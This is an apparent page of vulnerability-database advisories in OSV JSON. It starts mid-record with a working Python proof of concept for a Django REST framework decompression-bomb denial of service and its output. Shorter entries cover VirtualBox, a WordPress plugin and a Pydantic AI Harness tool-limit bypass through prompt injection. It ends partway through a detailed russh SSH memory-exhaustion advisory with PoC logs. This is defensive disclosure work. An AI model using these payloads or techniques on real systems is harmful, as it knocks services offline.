name\",\n}\nVIEW_RAN = []\n\n\ndef build_payloads():\n    import bz2\n    import zlib\n\n    os.makedirs(PAYLOAD_DIR, exist_ok=True)\n    plain = b\u0027{\"a\":\"\u0027 + b\"A\" * PAYLOAD_CHARS + b\u0027\"}\u0027\n    blobs = {\n        \"plain.bin\": plain,\n        \"bz2.bin\": bz2.compress(plain, 9),\n        \"zlib.bin\": zlib.compress(plain, 9),\n    }\n    for name, blob in blobs.items():\n        with open(os.path.join(PAYLOAD_DIR, name), \"wb\") as fh:\n            fh.write(blob)\n    return {name: len(blob) for name, blob in blobs.items()}\n\n\ndef configure_django():\n    from django.conf import settings\n\n    settings.configure(\n        DEBUG=False,\n        ALLOWED_HOSTS=[\"testserver\"],\n        SECRET_KEY=\"poc\",\n        ROOT_URLCONF=__name__,\n        MIDDLEWARE=[],\n        INSTALLED_APPS=[\n            \"django.contrib.contenttypes\",\n            \"django.contrib.auth\",\n            \"rest_framework\",\n        ],\n        DATABASES={\n            \"default\": {\"ENGINE\": \"django.db.backends.sqlite3\", \"NAME\": \":memory:\"}\n        },\n        DEFAULT_CHARSET=\"utf-8\",\n        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,\n        LOGGING_CONFIG=None,\n        USE_TZ=True,\n    )\n    import django\n\n    django.setup()\n\n\ndef build_view():\n    from rest_framework.response import Response\n    from rest_framework.views import APIView\n\n    class Echo(APIView):\n        authentication_classes = []\n        permission_classes = []\n\n        def post(self, request):\n            data = request.data\n            VIEW_RAN.append(True)\n            value = data.get(\"a\") if isinstance(data, dict) else None\n            return Response(\n                {\"parsed_value_len\": len(value) if isinstance(value, str) else None}\n            )\n\n    return Echo\n\n\ndef __getattr__(name):\n    # ROOT_URLCONF points at this module; build urlpatterns lazily.\n    if name == \"urlpatterns\":\n        from django.urls import path\n\n        value = [path(\"x\", build_view().as_view())]\n        globals()[\"urlpatterns\"] = value\n        return value\n    raise AttributeError(name)\n\n\ndef peak_rss_kib():\n    \"\"\"Peak resident size of this process. /proc is used where available because\n    ru_maxrss does not track the calling process on every kernel.\"\"\"\n    try:\n        with open(\"/proc/self/status\") as fh:\n            for line in fh:\n                if line.startswith(\"VmHWM:\"):\n                    return int(line.split(\":\")[1].strip().split()[0])\n    except OSError:\n        pass\n    import resource\n\n    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n\n\ndef run_arm(arm):\n    payload_name, content_type = ARMS[arm]\n    with open(os.path.join(PAYLOAD_DIR, payload_name), \"rb\") as fh:\n        body = fh.read()\n\n    configure_django()\n    from django.test import Client, RequestFactory\n\n    client = Client(raise_request_exception=False)\n    # Warm every lazily imported module so the delta measures the request only.\n    client.generic(\"POST\", \"/x\", data=b\u0027{\"a\":\"A\"}\u0027, content_type=\"application/json\")\n    VIEW_RAN.clear()\n\n    before = peak_rss_kib()\n    response = client.generic(\"POST\", \"/x\", data=body, content_type=content_type)\n    after = peak_rss_kib()\n\n    parsed_len = None\n    if response.status_code == 200:\n        try:\n            parsed_len = json.loads(response.content).get(\"parsed_value_len\")\n        except ValueError:\n            pass\n\n    # Second reading via a bare RequestFactory so the exception class is visible\n    # directly instead of inferred from a status code.\n    request = RequestFactory().generic(\n        \"POST\", \"/x\", data=body, content_type=content_type\n    )\n    try:\n        direct = {\"status_code\": build_view().as_view()(request).status_code}\n    except BaseException as exc:  # noqa: BLE001 - naming the class is the point\n        direct = {\"exception\": f\"{type(exc).__module__}.{type(exc).__name__}\"}\n\n    return {\n        \"arm\": arm,\n        \"content_type\": content_type,\n        \"transmitted_bytes\": len(body),\n        \"body_sha256\": hashlib.sha256(body).hexdigest(),\n        \"status_code\": response.status_code,\n        \"view_body_executed\": bool(VIEW_RAN),\n        \"parsed_value_len\": parsed_len,\n        \"amplification_ratio\": round(parsed_len / len(body), 1) if parsed_len else None,\n        \"peak_rss_delta_mib\": round((after - before) / 1024.0, 1),\n        \"direct_dispatch\": direct,\n    }\n\n\ndef check(arm, r):\n    if arm in (\"T\", \"C3\"):\n        return (\n            r[\"status_code\"] == 200\n            and r[\"view_body_executed\"]\n            and r[\"parsed_value_len\"] == PAYLOAD_CHARS\n            and r[\"amplification_ratio\"] \u003e= 700\n        )\n    if arm == \"C1\":\n        return (\n            r[\"status_code\"] != 200\n            and not r[\"view_body_executed\"]\n            and r[\"direct_dispatch\"].get(\"exception\")\n            == \"django.core.exceptions.RequestDataTooBig\"\n        )\n    if arm == \"C2\":\n        return r[\"status_code\"] == 400 and not r[\"view_body_executed\"]\n    raise AssertionError(arm)\n\n\ndef main():\n    if \"--arm\" in sys.argv:\n        print(json.dumps(run_arm(sys.argv[sys.argv.index(\"--arm\") + 1])))\n        return 0\n\n    sizes = build_payloads()\n    print(f\"# payload sizes: {sizes}\")\n    print(f\"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}\")\n    print(f\"# JSON string value under test: {PAYLOAD_CHARS} characters\\n\")\n\n    ok = True\n    results = {}\n    for arm in (\"T\", \"C1\", \"C2\", \"C3\"):\n        proc = subprocess.run(\n            [sys.executable, os.path.abspath(__file__), \"--arm\", arm],\n            capture_output=True,\n            text=True,\n        )\n        if proc.returncode != 0:\n            print(f\"{arm}: harness failed\\n{proc.stderr}\")\n            return 2\n        r = json.loads(proc.stdout.strip().splitlines()[-1])\n        results[arm] = r\n        passed = check(arm, r)\n        ok = ok and passed\n        print(f\"=== {arm}  [{\u0027as described\u0027 if passed else \u0027NOT as described\u0027}]\")\n        print(f\"    expected: {EXPECTED[arm]}\")\n        print(json.dumps(r, indent=6))\n        print()\n\n    print(\"=== summary\")\n    for arm, r in results.items():\n        print(\n            f\"    {arm:3} wire={r[\u0027transmitted_bytes\u0027]:\u003e9}B  status={r[\u0027status_code\u0027]}  \"\n            f\"parsed_len={r[\u0027parsed_value_len\u0027]}  ratio={r[\u0027amplification_ratio\u0027]}  \"\n            f\"peak_rss_delta={r[\u0027peak_rss_delta_mib\u0027]} MiB  view_ran={r[\u0027view_body_executed\u0027]}\"\n        )\n    print(f\"\\n    T and C1 and C2: {\u0027all held\u0027 if ok else \u0027NOT all held\u0027}\")\n    return 0 if ok else 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\nObserved output, abbreviated to the summary block:\n\n```\n# payload sizes: {\u0027plain.bin\u0027: 50331656, \u0027bz2.bin\u0027: 108, \u0027zlib.bin\u0027: 48941}\n# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536\n# JSON string value under test: 50331648 characters\n\n=== summary\n    T   wire=      108B  status=200  parsed_len=50331648  ratio=466033.8  peak_rss_delta=96.8 MiB  view_ran=True\n    C1  wire= 50331656B  status=400  parsed_len=None      ratio=None      peak_rss_delta=48.3 MiB  view_ran=False\n    C2  wire=      108B  status=400  parsed_len=None      ratio=None      peak_rss_delta=0.0 MiB   view_ran=False\n    C3  wire=    48941B  status=200  parsed_len=50331648  ratio=1028.4    peak_rss_delta=95.2 MiB  view_ran=True\n\n    T and C1 and C2: all held\n```\n\nC1 establishes that the size limit is live and configured, so the 200 in T is a defeated guard and\nnot an absent one. C1 reports its own RSS growth because the client holds the 48 MiB body before the\nlimit rejects it, which is client-side cost and never reaches the view. C2 carries most of the\nweight: its body is byte-identical to T, and only the codec name differs. RSS figures vary by a few\nMiB between runs.\n\nRepeating all four arms on Django 5.2.17 LTS gave 109 wire bytes to 50,331,648 characters, 461,758x,\nwith C1 and C2 both holding.\n\nOne note if you re-implement the request yourself: use `Client.generic()` or\n`RequestFactory().generic()`. Both `Client.post()` and `RequestFactory.post()` push the body through\n`force_bytes(data, encoding=\u003ccharset\u003e)` (`django/test/client.py:438-447`), which destroys a compressed\npayload before the parser sees it.\n\n### Impact\n\nUnauthenticated denial of service through memory amplification, against any endpoint that accepts a\nJSON body with the default parser set. Every deployment on 3.6.4 or later is affected, and no\napplication code or configuration choice opts into it. Memory is per-request and released afterwards,\nwhich is why this is rated on availability alone rather than as Critical, but the amplification factor\nmeans a small number of concurrent requests can exhaust a worker. A few hundred bytes allocates\nhundreds of megabytes, and nothing in DRF or Django bounds the expanded size.",
  "id": "GHSA-3547-9m27-7rxg",
  "modified": "2026-10-22T16:16:09Z",
  "published": "2026-10-22T16:16:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114136"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/encode/django-rest-framework"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/django-rest-framework/releases/tag/3.18.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Django REST framework: JSONParser applies an attacker-named codec to the request stream"
}

GHSA-3549-M757-P7HC

Vulnerability from github – Published: 2026-08-18 21:34 – Updated: 2026-08-18 21:34
VLAI
Details

Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). The supported version that is affected is 7.2.14. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-71139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T21:18:14Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.14. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 4.4 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-3549-m757-p7hc",
  "modified": "2026-08-18T21:34:06Z",
  "published": "2026-08-18T21:34:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71139"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-354M-G9FM-Q6GW

Vulnerability from github – Published: 2026-09-30 15:31 – Updated: 2026-09-30 15:31
VLAI
Details

Unauthenticated Denial of Service Attack in Two Factor <= 0.16.0 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-30T13:17:15Z",
    "severity": "MODERATE"
  },
  "details": "Unauthenticated Denial of Service Attack in Two Factor \u003c= 0.16.0 versions.",
  "id": "GHSA-354m-g9fm-q6gw",
  "modified": "2026-09-30T15:31:22Z",
  "published": "2026-09-30T15:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100508"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/two-factor/vulnerability/wordpress-two-factor-plugin-0-16-0-denial-of-service-attack-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3589-PXP7-3GJ8

Vulnerability from github – Published: 2026-10-21 15:42 – Updated: 2026-10-23 20:55
VLAI
Summary
Pydantic AI Harness tool-call limit bypass in nested CodeMode calls
Details

Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai-harness"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.59.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T20:55:50Z",
    "nvd_published_at": "2026-10-21T13:18:28Z",
    "severity": "MODERATE"
  },
  "details": "Pydantic AI Harness before 0.59.0 fails to enforce UsageLimits.tool_calls_limit on nested tool calls dispatched from run_code in the CodeMode toolset. Users or prompt-injected content can make the sandboxed program invoke tools via run_nested_call() without check_before_tool_call, exceeding operator limits on costly or side-effecting tools.",
  "id": "GHSA-3589-pxp7-3gj8",
  "modified": "2026-10-23T20:55:50Z",
  "published": "2026-10-21T15:42:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114386"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/pull/10362"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/commit/eb27b2b89fe76ae23ee9b6fc9eb4b227a4967949"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/pydantic-ai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/blob/v2.58.0/src/pydantic_ai_harness/pydantic_ai_harness/code_mode/_toolset.py#L642-L680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/releases/tag/v2.59.0"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/pydantic-ai-harness/0.59.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pydantic-ai-harness-before-0.59.0-codemode-tool-call-limit-bypass-via-run-code"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pydantic AI Harness tool-call limit bypass in nested CodeMode calls"
}

GHSA-35G8-35P8-C8FW

Vulnerability from github – Published: 2026-09-30 23:40 – Updated: 2026-09-30 23:40
VLAI
Summary
Russh: Unbounded memory exhaustion via CHANNEL_OPEN flood during a client-stalled rekey
Details

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

  • Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
  • Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
  • The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

  • russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
  • russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
  • russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

  • the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
  • the priority_receiver.recv() arm (session.rs:762),
  • the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

  1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
  2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

  1. sends SSH_MSG_KEXINIT (server enters kex.active()),
  2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
  3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)
  • ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
  • CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

  • (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
  • bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
  • bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.63.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.63.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T23:40:43Z",
    "nvd_published_at": "2026-09-29T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA russh **server** can be driven to unbounded heap growth (process OOM / kill) by\na peer that speaks only standard SSH messages, in the **default configuration**.\n\nThe peer starts a key re-exchange (sends `SSH_MSG_KEXINIT`) but never sends the\nfollow-up `SSH_MSG_KEX_ECDH_INIT`, leaving the server\u0027s kex state machine in\n`SessionKexState::InProgress` **indefinitely**. While a rekey is in progress the\nserver\u0027s three message-drain paths are all gated off (`if !self.kex.active()`),\nbut the network-read path stays active, so every `SSH_MSG_CHANNEL_OPEN` the peer\nsends is processed inline and appends one reply to an **unbounded** internal\nqueue (`priority_receiver`, an `UnboundedReceiver`) that is not dequeued until\nthe rekey completes. Because the peer decides whether the rekey ever completes,\nthe queue \u2014 and the server\u0027s memory \u2014 grows without bound.\n\nThis is reproducible end-to-end against a real russh server over a real\nencrypted transport; see \"Proof of concept\". A one-line negative control (same\nflood, no rekey) keeps memory flat, isolating the rekey window as the sole\ntrigger.\n\n## Impact\n\n- **Availability / DoS.** Server RSS climbs at roughly 3.3 KB per\n  `CHANNEL_OPEN`, driven entirely by the peer, until the process is OOM-killed.\n  In the reproduction one connection pushed the server from ~4 MB to **2.57 GB**\n  (and past **4.8 GB** against the stock `echoserver` example) and it was still\n  climbing when the flood was stopped.\n- **Reached with standard messages, no special configuration.** Any handler is\n  affected, including one that rejects every channel (the reply enqueued on\n  rejection is exactly what accumulates). There is no per-connection cap on\n  in-flight channel opens or on the queue, and the queue\u0027s sender has no\n  backpressure.\n- The peer keeps the connection alive simply by continuing to send, so the\n  inactivity timer never fires.\n\n## Affected component\n\n- `russh/src/server/session.rs` \u2014 `Session::run` `tokio::select!` loop. The\n  network-read arm is ungated; the three drain paths are gated on\n  `!self.kex.active()`.\n- `russh/src/server/mod.rs` \u2014 `reply()` routes a non-kex message received during\n  a rekey straight to `server_read_encrypted` (inline processing).\n- `russh/src/lib_inner.rs` \u2014 `ChannelOpenHandleInner`\u0027s `accept`/`reject`/`Drop`\n  all `send` a reply on an `UnboundedSender`.\n\nVerified on **v0.63.1** (commit `d3ae702`), which is the latest release. The\ngating logic predates it.\n\n## Details\n\n`Session::run` (`russh/src/server/session.rs:631`) drives a `tokio::select!`\n(`:713`). Three of its message-drain sites are gated on `!self.kex.active()`:\n\n- the pre-`select!` batch drain of `priority_receiver`/`receiver`\n  (`session.rs:680`),\n- the `priority_receiver.recv()` arm (`session.rs:762`),\n- the `receiver.recv()` arm (`session.rs:770`, which also holds the only other\n  `priority_receiver` drain at `:777`).\n\nThe fourth arm, `r = \u0026mut reading` (`session.rs:714`), is **ungated**: it reads\nand processes one incoming packet every loop iteration regardless of rekey\nstate, calling `reply()` (`server/mod.rs:1128`).\n\nDuring a **rekey**, `session.common.encrypted.is_some()`, so the strict-kex\nmessage-ordering guard (`server/mod.rs:1143`, which is additionally gated on\n`encrypted.is_none()`) does **not** apply. A non-kex message therefore falls\nthrough `reply()` to `session.server_read_encrypted(handler, pkt)`\n(`server/mod.rs:1232`) and is handled inline. For `SSH_MSG_CHANNEL_OPEN` this\nreaches the channel-open handling, which hands the application a\n`ChannelOpenHandle`.\n\nWhether the handler accepts or (the trait default) rejects, the handle\u0027s\n`accept` / `reject` / `Drop` all `send` a `Msg::ChannelOpenReply` on an\n`UnboundedSender` (`russh/src/lib_inner.rs:560-603`; `Drop` sends\n`AdministrativelyProhibited` at `:594-603`). That sender feeds\n`priority_receiver`, declared `UnboundedReceiver\u003cMsg\u003e` (`session.rs:23`) and\ncreated with `tokio::sync::mpsc::unbounded_channel()` (`session.rs:1522`). Its\nonly drain sites are the three arms gated off during the rekey. So each\n`CHANNEL_OPEN` processed during the rekey window appends one reply (carrying a\n`PendingChannelOpen` = channel params + mpsc `ChannelRef` + ids, a few KB\nretained in practice) to a queue that is never dequeued.\n\nTwo facts make this unbounded and remote:\n\n1. The server enters `InProgress` the moment it receives the peer\u0027s `KEXINIT`\n   (`server/mod.rs:1153-1158`, `begin_rekey`) and only leaves it upon receiving\n   the peer\u0027s `KEX_ECDH_INIT`. **The peer decides** whether to ever send that,\n   so the window is attacker-held.\n2. There is no per-connection cap on channels or on the priority queue, and the\n   sender is unbounded (no backpressure).\n\n### Root cause\n\nThe intended design was to *buffer* packets received during a rekey and replay\nthem afterwards: the fields `pending_reads: Vec\u003cVec\u003cu8\u003e\u003e` and `pending_len: u32`\n(`session.rs:26-27`) exist and are **drained** at kex completion\n(`server/mod.rs:1194-1198`). But nothing ever **pushes** to `pending_reads` or\nincrements `pending_len` (they are dead \u2014 confirmed by grep across\n`russh/src/`). Instead of being buffered, channel messages received during a\nrekey are processed inline, and their replies pile up in the unbounded\n`priority_receiver`. The missing piece is a bound on \u2014 or bounded deferral of \u2014\nchannel processing while `kex.active()`.\n\n## Proof of concept\n\nEverything runs inside a container; nothing touches the host.\n\n**Lab.** `poc/Dockerfile` builds `russh-lab:head` from Eugeny/russh @ `d3ae702`\n(v0.63.1), default features (rust 1.91). A raw-SSH-client PoC\n(`poc/poc_rekey_dos.rs`) implements curve25519-sha256 / ssh-ed25519 /\naes256-ctr / hmac-sha2-256 by hand, completes the handshake and a `publickey`\nauth, then:\n\n1. sends `SSH_MSG_KEXINIT` (server enters `kex.active()`),\n2. **never** sends `KEX_ECDH_INIT` (rekey stalls, attacker-held),\n3. floods `SSH_MSG_CHANNEL_OPEN`.\n\nA minimal server (`poc/poc_server.rs`) uses the **trait-default**\n`channel_open_session` (which rejects by dropping the handle), so the measured\ngrowth is purely the undrained priority queue, not accepted-channel state.\n\n`poc/run.sh` runs the attack leg and an identical **negative control** with no\nrekey. Fresh run inside the lab, `N = 800,000` opens\n(`results/rerun-2026-08-29.log`):\n\n```\n=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)\n  t=2s  server_RSS=667760KB\n  t=4s  server_RSS=1599600KB\n  t=6s  server_RSS=2556016KB\n  t=8s  server_RSS=2566256KB   (flood done; memory retained)\n=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)\n  t=2s..t=12s  server_RSS=4208KB   (flat throughout)\n```\n\n- **ATTACK**: RSS `4,208 KB \u2192 2,566,256 KB` (~2.57 GB) and retained after the\n  flood ends \u2014 ~3.3 KB per `CHANNEL_OPEN`, attacker-driven. (An earlier canonical\n  run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock\n  `echoserver` example at 1.5 M opens \u2014 see `results/canonical-run.log`.)\n- **CONTROL**: RSS flat at `4,208 KB`. Without the rekey window the replies are\n  drained normally; TCP backpressure (the client never reads the failure\n  replies) even throttles the flood.\n\nThe control isolates the rekey window as the sole trigger. Both legs exercise\nthe real server entry point (`Session::run` \u2192 `reply` \u2192 `server_read_encrypted`)\nover a real encrypted transport.\n\nReproduce: `C=russh-lab N=800000 ./poc/run.sh` (see `poc/POC-README.md`).\n\n## Remediation\n\nThe priority queue carries locally generated channel-open replies, which are\nnon-kex messages the server **must not send** during a rekey anyway (RFC 4253\n\u00a77.1). So the fix is to bound how much channel work is done during a rekey, not\nto drain the queue mid-rekey. Any of:\n\n- **(recommended, minimal)** cap the number of non-kex messages processed while a\n  rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive\n  rekey is then torn down after a small constant instead of growing memory\n  without 